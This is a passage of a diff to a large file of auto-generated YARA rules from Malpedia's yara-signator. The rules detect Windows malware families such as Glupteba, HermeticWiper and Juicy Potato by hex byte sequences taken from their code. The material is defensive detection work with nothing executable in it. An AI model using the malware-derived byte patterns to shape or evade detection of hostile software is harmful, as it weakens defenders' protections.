+		$sequence_7 = { 56 56 6a04 56 56 68000000c0 68???????? }
+		$sequence_8 = { 59 8d7dec f3a5 8b45ec 25ff000000 8885e7feffff 3c00 }
+		$sequence_9 = { ffb5b0fcffff ff15???????? 8985c8feffff 83bdc8feffff00 7515 ff15???????? }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <40960
 }
-rule MALPEDIA_Win_Protonbot_Auto : FILE
+rule MALPEDIA_Win_Mocton_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b19d2c4d-3d72-5fe6-aaaa-c0b323237a91"
+		id = "72b425f0-e1bd-580c-ba97-36f1bcb1157c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.protonbot_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mocton_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "9f42d2358a0490651f249ec756eecbb8cc6207cec8ace7f179285ca0a209261c"
+		logic_hash = "f466c26ab0d8cd5071e2b5a32b6cc128a028215985bbf34b30810ffd494c9c82"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160732,32 +167740,32 @@ rule MALPEDIA_Win_Protonbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f434550 6a00 6a00 6a00 }
-		$sequence_1 = { 8b36 8d442408 50 56 e8???????? 83c408 83f808 }
-		$sequence_2 = { e8???????? 8d8dd4feffff e8???????? 83c418 c645fc01 }
-		$sequence_3 = { 899df8fffeff e8???????? 83c410 8bf8 }
-		$sequence_4 = { 8bf1 6a04 c745fc01000000 e8???????? 83c404 8bf8 }
-		$sequence_5 = { 837f1410 7202 8b3f 57 50 e8???????? ffb5d4feffff }
-		$sequence_6 = { 7f8d 5e 5f 33c0 5b 8b4dfc }
-		$sequence_7 = { 50 8d45f4 64a300000000 8bda 8bf9 8d8dd8feffff }
-		$sequence_8 = { 8d85b8fbffff 0f4385b8fbffff 50 8d85d0fbffff 68ff000000 50 e8???????? }
-		$sequence_9 = { b901000000 8bc2 c1e81e 33c2 69d06589076c 03d1 89948d54ecffff }
+		$sequence_0 = { 8b4db8 81e1dbb036e4 33c8 334db8 8b55b8 83c201 8955b8 }
+		$sequence_1 = { 0b55d0 8b45d0 83e801 8945d0 85d2 741e 8b4dd0 }
+		$sequence_2 = { 898584feffff e9???????? 8b8d9cfeffff 83e901 898d9cfeffff 8b959cfeffff 8b859cfeffff }
+		$sequence_3 = { b901000000 85c9 741d 8b955ceaffff c1e206 81ca2bb0d5ca 03955ceaffff }
+		$sequence_4 = { 0b8dcce9ffff 898dcce9ffff e9???????? 8b95cce9ffff 69d237b0cb41 33c0 81fa237558e2 }
+		$sequence_5 = { 7353 8bc1 c1f805 8bf1 8d3c85004d4400 8b07 83e61f }
+		$sequence_6 = { 7e3e b8913b77ee 2b8508fdffff 398508fdffff 7c17 8b8d08fdffff c1e105 }
+		$sequence_7 = { 0f94c1 81c9efb286ac 7412 8b956cfcffff 039560fcffff 89956cfcffff c785acfcffffeed81864 }
+		$sequence_8 = { 894dec eb12 8b55f8 2b55ec 8955f8 8b45ec 83c001 }
+		$sequence_9 = { c1e009 05335b8425 2385e4e9ffff 0b85ece9ffff 8985ece9ffff 8b8de4e9ffff }
 
 	condition:
-		7 of them and filesize <1073152
+		7 of them and filesize <573440
 }
-rule MALPEDIA_Win_Juicy_Potato_Auto : FILE
+rule MALPEDIA_Win_Mulcom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "03dfaa0e-28b0-58bd-8b17-d8d3c88d86a7"
+		id = "8b428090-6e4d-587e-a305-32305b35e9f8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.juicy_potato_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mulcom_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "270473eb74e147cca3eabdeead641e5c572494e923c2e4deeae8d94ea8e99f5c"
+		logic_hash = "0fb6c90115244992995c28d6d59f0334f00cc1075a3607803abc8b37e1b5b55f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160771,32 +167779,32 @@ rule MALPEDIA_Win_Juicy_Potato_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488b5010 498b4910 48ffc9 488bc2 48d1e8 4823c8 }
-		$sequence_1 = { 4053 4883ec20 488bd9 488bc2 488d0dade40100 48890b 488d5308 }
-		$sequence_2 = { 488d5e08 488b03 6683382d 0f8598010000 0fb74002 83c09f }
-		$sequence_3 = { 4889450f 4883c8ff 488955ff 488bc8 }
-		$sequence_4 = { 488bd7 4c8d05dec60300 83e23f 488bcf 48c1f906 48c1e206 498b0cc8 }
-		$sequence_5 = { 48894728 4883f8ff 7437 448b4310 488b5320 488bc8 ff15???????? }
-		$sequence_6 = { e8???????? ff15???????? b801000000 e9???????? 488b5c2438 4885db 7470 }
-		$sequence_7 = { 488d15159c0100 ff15???????? 4885c0 0f8429030000 488bc8 e8???????? 488bcb }
-		$sequence_8 = { 7509 488d056f200400 eb04 4883c024 8938 e8???????? 488d1d57200400 }
-		$sequence_9 = { ff15???????? ba10000000 663bc2 7312 488bd3 488d0d6df80200 ff15???????? }
+		$sequence_0 = { 4883ec40 33ff 48c740f007000000 488978e8 488d4c2420 668978d8 4d85c0 }
+		$sequence_1 = { e8???????? 4c8b4310 488bd3 48837b1808 7203 488b13 4981f804010000 }
+		$sequence_2 = { e8???????? 488d4de8 e8???????? 488d4dc8 e8???????? 488d4da8 e8???????? }
+		$sequence_3 = { 48897020 488b05???????? 4833c4 48898510020000 498bf8 488bda 4889542438 }
+		$sequence_4 = { 33d2 33c9 458bc6 ff15???????? 85c0 0f8412020000 }
+		$sequence_5 = { e8???????? 488d4c2460 e8???????? 90 488dbea0000000 488d9580010000 }
+		$sequence_6 = { 4c897de0 488d45d0 48837de810 480f4345d0 448838 8b542440 483b55e0 }
+		$sequence_7 = { 4d63df 4c015d00 478d6c2fff eb3f 4585e4 7511 8b74243c }
+		$sequence_8 = { cc e8???????? cc 4c8bc2 488b5108 48395110 0f848b000000 }
+		$sequence_9 = { 410fb7d0 ff5018 440fb7c0 49ffce 418bff 66453be0 0f45fb }
 
 	condition:
-		7 of them and filesize <736256
+		7 of them and filesize <867328
 }
-rule MALPEDIA_Win_Mbrlock_Auto : FILE
+rule MALPEDIA_Win_Xxmm_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "daa9848d-eee7-57fa-b29b-86c1367b5691"
+		id = "2f4f20e9-d761-523e-a241-a1e4f366495b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mbrlock_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xxmm_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "7a0dcc0e30832e7304006fa42a5eab963221d66f36bad91605b77fec2d75b555"
+		logic_hash = "0f663d162fed444e7f08fa4fe0acf57f92808d6dc37ba8437dff740dddaf561a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160810,32 +167818,32 @@ rule MALPEDIA_Win_Mbrlock_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 898e94000000 8945e4 e9???????? 8b5d10 8b7d14 8b4e0c }
-		$sequence_1 = { 8bcb bd01000000 e8???????? 8bf0 85f6 0f84f8000000 85ed }
-		$sequence_2 = { 8b4de8 8bc1 25ffff0000 2d4c450000 7475 83e802 7433 }
-		$sequence_3 = { e8???????? 8b45ec 3d00800000 74ab 8b450c 8d5594 }
-		$sequence_4 = { 894e30 50 53 8bcf e8???????? 85c0 7505 }
-		$sequence_5 = { e8???????? 8bd0 85d2 7424 817f1402000080 7519 8b470c }
-		$sequence_6 = { 8bcf e8???????? 8b4d08 894144 8b45ec 85c0 7505 }
-		$sequence_7 = { 33d2 8bd9 668b144590844a00 8b4c2430 8954242c 8bc1 be02000000 }
-		$sequence_8 = { 68ac5e0110 56 50 53 8bcf e8???????? }
-		$sequence_9 = { a3???????? 39a81c010000 7405 8b4010 eb02 33c0 ffd0 }
+		$sequence_0 = { 6a00 ff15???????? 53 57 50 8945fc e8???????? }
+		$sequence_1 = { 6a00 ff55ec ff7650 8bf8 }
+		$sequence_2 = { 8b7c0e20 8b440e24 03f9 03c1 }
+		$sequence_3 = { 897d10 3bdf 7673 8b4508 2bc6 }
+		$sequence_4 = { c3 55 8bec 51 51 8b03 8b08 }
+		$sequence_5 = { 0f84bc000000 397d10 0f84b3000000 3bf7 }
+		$sequence_6 = { 034df8 83c0f8 d1e8 8d7a08 897df4 7450 }
+		$sequence_7 = { 0fb74606 8945e8 85c0 7429 8b47f8 }
+		$sequence_8 = { 3b7114 7303 8bc6 c3 53 0fb75806 57 }
+		$sequence_9 = { 41 4a 75f7 8b5dfc 83c728 837de800 75d7 }
 
 	condition:
-		7 of them and filesize <2031616
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Pkybot_Auto : FILE
+rule MALPEDIA_Win_Glupteba_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b29148a6-8685-5645-99d4-ca854d32849e"
+		id = "09a70f19-6d2a-5533-851a-d46346a3f052"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pkybot_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glupteba_auto.yar#L1-L163"
 		license_url = "N/A"
-		logic_hash = "809773f54b9553ffea062fd7f87645abd3e261a3e38fb26640ff099fc49a005e"
+		logic_hash = "f2320a7d413271b6097cf4accf3d3e4465e91ebbc62274538ef55443d4833776"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160849,32 +167857,38 @@ rule MALPEDIA_Win_Pkybot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8bf8 83ffff 7429 56 56 }
-		$sequence_1 = { 8d45e0 50 8b06 83c004 50 }
-		$sequence_2 = { 8b4e04 21413c c741300e000000 897938 5f 5e }
-		$sequence_3 = { 7409 ff75dc e8???????? 59 56 }
-		$sequence_4 = { 8b0d???????? 894108 e8???????? a3???????? }
-		$sequence_5 = { 7518 ff35???????? e8???????? 59 893d???????? 893d???????? }
-		$sequence_6 = { 56 a3???????? e8???????? 83c448 }
-		$sequence_7 = { 57 6a10 ff7510 8d45ec 50 e8???????? }
-		$sequence_8 = { 7430 50 3bf7 7507 e8???????? eb05 e8???????? }
-		$sequence_9 = { 8d85ecfdffff 50 8d45f4 50 53 57 ff75fc }
+		$sequence_0 = { 33c8 c1e102 33c8 03c9 }
+		$sequence_1 = { ff75dc ff7508 ff75e2 e8???????? 83c410 ff35???????? ff15???????? }
+		$sequence_2 = { 50 8d85fcf7ffff 50 56 e8???????? 68e8030000 8d85fcf7ffff }
+		$sequence_3 = { 59 7e17 83c0fc 33c9 85c0 7e0e }
+		$sequence_4 = { 334e04 8b75d0 33cf 8b7ddc c1ef08 c1ee10 }
+		$sequence_5 = { 85c0 0f8435010000 807df473 7550 0fb745f7 50 }
+		$sequence_6 = { 0f8f9c010000 894df8 ff7518 53 53 e8???????? }
+		$sequence_7 = { 46 8975f8 83f810 7cd9 8d48f0 f7d9 1bc9 }
+		$sequence_8 = { 0101 03d3 8b4620 8bcb }
+		$sequence_9 = { 00cd 3e46 005e3e 46 }
+		$sequence_10 = { 0107 eb4d 8b02 89442418 }
+		$sequence_11 = { 00f1 3d46005e3e 46 00cd }
+		$sequence_12 = { 0012 3f 46 008bff558bec }
+		$sequence_13 = { 0106 830702 392e 75a0 }
+		$sequence_14 = { 005e3e 46 00ff 3e46 }
+		$sequence_15 = { 00ff 3e46 0012 3f }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <1417216
 }
-rule MALPEDIA_Win_Webc2_Kt3_Auto : FILE
+rule MALPEDIA_Win_Mistcloak_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "94855d65-b1ce-5b35-9456-d0939a525276"
+		id = "bcb29aaa-c37e-5c55-be1e-5d06aa41cabd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_kt3"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_kt3_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mistcloak_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "a5c2b8d7a42ef74a9adf1d4cae6732c8a660cac1ccf5f008908f03c7dfba3cd1"
+		logic_hash = "6962ced189f702e03fc18d236cee46a2a0844476537e8c819ea6f1c43f9c0922"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160888,32 +167902,32 @@ rule MALPEDIA_Win_Webc2_Kt3_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a92c0c84000 089021d34000 40 3bc7 76f5 41 }
-		$sequence_1 = { ff15???????? 85c0 0f843a010000 83bdf0fbffff00 0f86a4000000 }
-		$sequence_2 = { 836dd001 837dd000 742c 836dd001 }
-		$sequence_3 = { 0345f8 c60000 8b4de8 51 ff15???????? 8b55e8 0fbe02 }
-		$sequence_4 = { 8955a8 66c745c80000 c745cc00000000 66c745ca0000 c745c401010000 8b4508 8945d0 }
-		$sequence_5 = { e8???????? 8945fc 837dfc00 7d05 83c8ff eb25 837dfc00 }
-		$sequence_6 = { 7527 8b55fc 0fbe4202 83f82d 751b }
-		$sequence_7 = { 51 ff15???????? 8945f0 837df000 7511 8b55f8 52 }
-		$sequence_8 = { 8b5508 83c234 83c9ff 33c0 }
-		$sequence_9 = { 8bec 83ec30 53 56 57 8b4508 8945e0 }
+		$sequence_0 = { 8b049590500110 f644082801 740b 56 e8???????? 59 8bf0 }
+		$sequence_1 = { 660f282d???????? 660f59f5 660f28aa70100110 660f54e5 660f58fe 660f58fc }
+		$sequence_2 = { 8b0c8590500110 8b45f8 807c012800 7d46 }
+		$sequence_3 = { 0f85b1000000 8b4508 dd00 ebc2 c745e418120110 eb19 }
+		$sequence_4 = { 6bc618 57 8db8104e0110 57 }
+		$sequence_5 = { 7429 83e805 7415 83e801 0f8595010000 c745e408120110 }
+		$sequence_6 = { c745e408120110 e9???????? c745e404120110 e9???????? 894de0 c745e404120110 e9???????? }
+		$sequence_7 = { 85f6 7420 6bc618 57 8db8104e0110 57 }
+		$sequence_8 = { 8bc1 3914c5781a0110 7408 40 }
+		$sequence_9 = { 8b45b4 8b0c8590500110 8a043b 03ce 8b75dc 03cb 43 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <196608
 }
-rule MALPEDIA_Win_Xsplus_Auto : FILE
+rule MALPEDIA_Win_Juicy_Potato_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fb41ffbb-1e2d-5bdd-9365-c97018c55362"
+		id = "03dfaa0e-28b0-58bd-8b17-d8d3c88d86a7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xsplus_auto.yar#L1-L178"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.juicy_potato_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "1413c5b641befe4b985d097bf7fa94a2fd076afb28674d33f79669c0d9d8240e"
+		logic_hash = "270473eb74e147cca3eabdeead641e5c572494e923c2e4deeae8d94ea8e99f5c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160927,39 +167941,32 @@ rule MALPEDIA_Win_Xsplus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b761c 8b4608 8b7e20 8b36 66394f18 75f2 }
-		$sequence_1 = { 0fb602 33c1 8b4d0c 034dfc 8801 }
-		$sequence_2 = { 83c408 8945f0 837df000 750f }
-		$sequence_3 = { e9???????? 8be5 5d c3 3b0d???????? }
-		$sequence_4 = { 8b45f4 83c001 8945f4 ebbf eb2c 6a08 8d4df8 }
-		$sequence_5 = { 895018 8b4df8 8b511c 83ea01 }
-		$sequence_6 = { c6864b01000043 c74668e0a34000 6a0d e8???????? 59 8365fc00 }
-		$sequence_7 = { 0345fc 8a08 880a c745f800000000 }
-		$sequence_8 = { 8d8df4fdffff 51 ff15???????? 8985ecfcffff 83bdecfcffffff 7565 6804010000 }
-		$sequence_9 = { 8b5118 d1e2 8b45f8 895018 8b4df8 }
-		$sequence_10 = { c745fc04000000 eb2d 8b5510 83e204 }
-		$sequence_11 = { 83c101 898de8feffff 8b550c 52 e8???????? }
-		$sequence_12 = { 8a800ca84000 08443b1d 0fb64601 47 3bf8 76ea }
-		$sequence_13 = { 8a15???????? 889500ffffff b93f000000 33c0 8dbd01ffffff f3ab 66ab }
-		$sequence_14 = { f3a5 8b45fc ffd0 5f 5e 8be5 }
-		$sequence_15 = { 8b4d08 51 ff15???????? b801000000 e9???????? 6a00 ff15???????? }
-		$sequence_16 = { 8975e0 8db120a84000 8975e4 eb2a 8a4601 }
+		$sequence_0 = { 488b5010 498b4910 48ffc9 488bc2 48d1e8 4823c8 }
+		$sequence_1 = { 4053 4883ec20 488bd9 488bc2 488d0dade40100 48890b 488d5308 }
+		$sequence_2 = { 488d5e08 488b03 6683382d 0f8598010000 0fb74002 83c09f }
+		$sequence_3 = { 4889450f 4883c8ff 488955ff 488bc8 }
+		$sequence_4 = { 488bd7 4c8d05dec60300 83e23f 488bcf 48c1f906 48c1e206 498b0cc8 }
+		$sequence_5 = { 48894728 4883f8ff 7437 448b4310 488b5320 488bc8 ff15???????? }
+		$sequence_6 = { e8???????? ff15???????? b801000000 e9???????? 488b5c2438 4885db 7470 }
+		$sequence_7 = { 488d15159c0100 ff15???????? 4885c0 0f8429030000 488bc8 e8???????? 488bcb }
+		$sequence_8 = { 7509 488d056f200400 eb04 4883c024 8938 e8???????? 488d1d57200400 }
+		$sequence_9 = { ff15???????? ba10000000 663bc2 7312 488bd3 488d0d6df80200 ff15???????? }
 
 	condition:
-		7 of them and filesize <597872
+		7 of them and filesize <736256
 }
-rule MALPEDIA_Win_Listrix_Auto : FILE
+rule MALPEDIA_Win_Domino_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f00b612a-8ee6-5314-b10b-7290e9e1e604"
+		id = "eddf3fd4-b67b-5548-8ce8-44ad7e57875e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.listrix_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.domino"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.domino_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "2287c5f695d49f8318bd5f0c78a77cdf4d2c441f03bbfda75594fd76fd20827f"
+		logic_hash = "bd7ff729d0491d94e0d98300cebe034f3949530bba7c0c3abfe7de162ca0ef3c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -160973,32 +167980,32 @@ rule MALPEDIA_Win_Listrix_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8dc0f5ffff 51 ffd3 85c0 7454 57 }
-		$sequence_1 = { 85f6 740d f68594f5ffff10 0f84ac010000 8b1d???????? 68???????? 8d85c0f5ffff }
-		$sequence_2 = { 8d46ff 50 8b8584f5ffff 51 52 50 8d8df4fbffff }
-		$sequence_3 = { 8d85f4f7ffff 50 ff15???????? 8b7518 }
-		$sequence_4 = { 89b588f5ffff 397510 0f8e4c020000 57 8d85f4f7ffff 50 }
-		$sequence_5 = { 50 8d4c2470 51 c744242430794000 }
-		$sequence_6 = { c1e802 89442408 c744240c02000000 85c0 0f8408010000 }
-		$sequence_7 = { 8bc7 c1f805 c1e606 033485e0ad4000 8b45f8 8b00 }
-		$sequence_8 = { a1???????? c705????????cc274000 8935???????? a3???????? ff15???????? a3???????? }
-		$sequence_9 = { 6a00 8d95e4f9ffff 52 ff15???????? 85c0 0f84bb000000 }
+		$sequence_0 = { b940000000 488bd8 ff15???????? 4c63c3 }
+		$sequence_1 = { 8bc6 4881c470010000 415f 415e 415d 415c }
+		$sequence_2 = { 41b800300000 488bd6 33c9 4c8bf6 ff15???????? }
+		$sequence_3 = { 498bd0 492bc8 4963c1 4c8d1d622e0000 428a0418 320411 }
+		$sequence_4 = { 7d07 ffc8 83c8f0 ffc0 48ffc2 }
+		$sequence_5 = { 4889742410 57 4883ec20 4863fa 488bf1 4885c9 750e }
+		$sequence_6 = { 488b1a 488bfa 488bf1 8b13 488bce e8???????? }
+		$sequence_7 = { 895c2420 66899c24b0000000 ff15???????? 85c0 741a 488b4c2458 }
+		$sequence_8 = { 7f20 488b0b 4885c9 7406 ff15???????? 48832300 83c8ff }
+		$sequence_9 = { e8???????? 4533c9 448bc7 488bd6 488bcb e8???????? 488b5c2438 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <50176
 }
-rule MALPEDIA_Win_Zeoticus_Auto : FILE
+rule MALPEDIA_Win_Mpkbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c2a18f25-bc43-5657-ba7f-277a7d143bb2"
+		id = "72738a74-041e-590e-bcbe-fef59ce6d7c8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeoticus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeoticus_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mpkbot_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "a4d1e69467730f44a44fc31899a04b37f3c67c9d35561598e18a4009fa030896"
+		logic_hash = "84a9c41e42e448fecfbe039fb747c3f04c473f008e3e19f5ee4ba318bc990491"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161012,32 +168019,32 @@ rule MALPEDIA_Win_Zeoticus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b901000000 8b442404 0f44f1 85c0 7407 50 ff15???????? }
-		$sequence_1 = { 6a00 6a02 6a01 6a00 6a00 6a00 6890010000 }
-		$sequence_2 = { 53 68???????? 50 89048d00574300 ff15???????? a1???????? 83c410 }
-		$sequence_3 = { 8b0d???????? 8d442420 6a00 6a00 6a00 6a25 6800800000 }
-		$sequence_4 = { 8d4c2430 6a18 51 ffd0 a1???????? 83c408 85c0 }
-		$sequence_5 = { 42 88440e14 8b4c2424 41 894c2424 83fa0b }
-		$sequence_6 = { 56 57 8b7c2414 894c2418 390f 0f86df010000 }
-		$sequence_7 = { a3???????? c705????????00000000 c705????????00000000 c705????????00000000 e8???????? 8b4c2408 8b542404 }
-		$sequence_8 = { 56 57 894c2410 8b7810 8bf7 90 }
-		$sequence_9 = { 83c408 a3???????? ff742420 ffd0 85c0 754a }
+		$sequence_0 = { 68???????? 50 ff15???????? a3???????? 8d45fc 50 683f000f00 }
+		$sequence_1 = { a3???????? 8d45fc 50 683f000f00 6a00 }
+		$sequence_2 = { 38450c 740a eb05 38450c 7503 }
+		$sequence_3 = { 8d55f8 52 56 6a20 68???????? }
+		$sequence_4 = { 55 8bec 56 57 6a00 ff15???????? 8bf0 }
+		$sequence_5 = { 0fb630 8975d4 db45d4 d84dc4 }
+		$sequence_6 = { 8bf0 0fb7450c 50 0fb74508 50 56 }
+		$sequence_7 = { 7507 38450c 740a eb05 }
+		$sequence_8 = { ff15???????? ff7508 a3???????? ffd0 5d c3 55 }
+		$sequence_9 = { ff15???????? ffd6 50 ffd7 }
 
 	condition:
-		7 of them and filesize <468992
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Alreay_Auto : FILE
+rule MALPEDIA_Win_Hermeticwiper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9cdb1d27-466b-525b-895d-ad710c42b112"
+		id = "ea8155d0-2aad-5127-b709-49a3ac0a065b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alreay_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermeticwiper_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "9b54d114d735844c857255b8100f13777f444dd5372ec863d1d85e3d492b2e7d"
+		logic_hash = "152c562a196a1884f9736d7ace893f74c52047d602608c8f019348b6a2233130"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161051,32 +168058,32 @@ rule MALPEDIA_Win_Alreay_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bca 83e103 03eb f3aa e9???????? 83fa07 7511 }
-		$sequence_1 = { 89b48484010000 8a442418 fec0 885c2420 8b5c2424 88442418 8b442420 }
-		$sequence_2 = { 894c2404 7407 b802000000 eb1d 8b90e8010000 85d2 7411 }
-		$sequence_3 = { 89442428 85c0 0f850c010000 8b442420 3bc7 7608 8bd7 }
-		$sequence_4 = { 8b8574010000 8bd1 23d0 83faff 0f848d000000 3bc3 7c55 }
-		$sequence_5 = { 8b15???????? 8b442414 8b742444 8b4c2448 42 40 83c604 }
-		$sequence_6 = { 8a16 8bcf 84d2 8bc6 741d 8a10 80fa5c }
-		$sequence_7 = { 8b8268020000 3bc1 0f852f040000 8b86b4040000 8bca 8b916c020000 3bd0 }
-		$sequence_8 = { bb16000000 3bc3 bf15000000 0f85f5010000 8b7500 8b86cc000000 8bd0 }
-		$sequence_9 = { 8d7c2448 83c9ff 33c0 8b54241c f2ae f7d1 49 }
+		$sequence_0 = { b9???????? 8bc7 6690 668b10 663b11 751e 6685d2 }
+		$sequence_1 = { 8bf8 85ff 7404 3bfe 750b 33c0 }
+		$sequence_2 = { 55 8bec 8b4508 ff30 ff15???????? 6803000280 }
+		$sequence_3 = { 8b0d???????? 83e802 7408 83e801 751b 8b7e08 }
+		$sequence_4 = { 8b75f8 13550c 6a00 6a00 52 50 56 }
+		$sequence_5 = { 33f6 660fd645dc 33ff 8975f4 50 0f1145bc }
+		$sequence_6 = { d3e0 8b4dfc 0facd605 c1ea05 8504b1 754e 8b4d14 }
+		$sequence_7 = { 7509 3b75d8 7504 8bc2 eb0f 3bcb }
+		$sequence_8 = { c20c00 813f46494c45 75d4 f6471601 74ce 0fb77714 }
+		$sequence_9 = { ebba f7d0 23c6 8b75e0 89048e 41 }
 
 	condition:
-		7 of them and filesize <1867776
+		7 of them and filesize <247808
 }
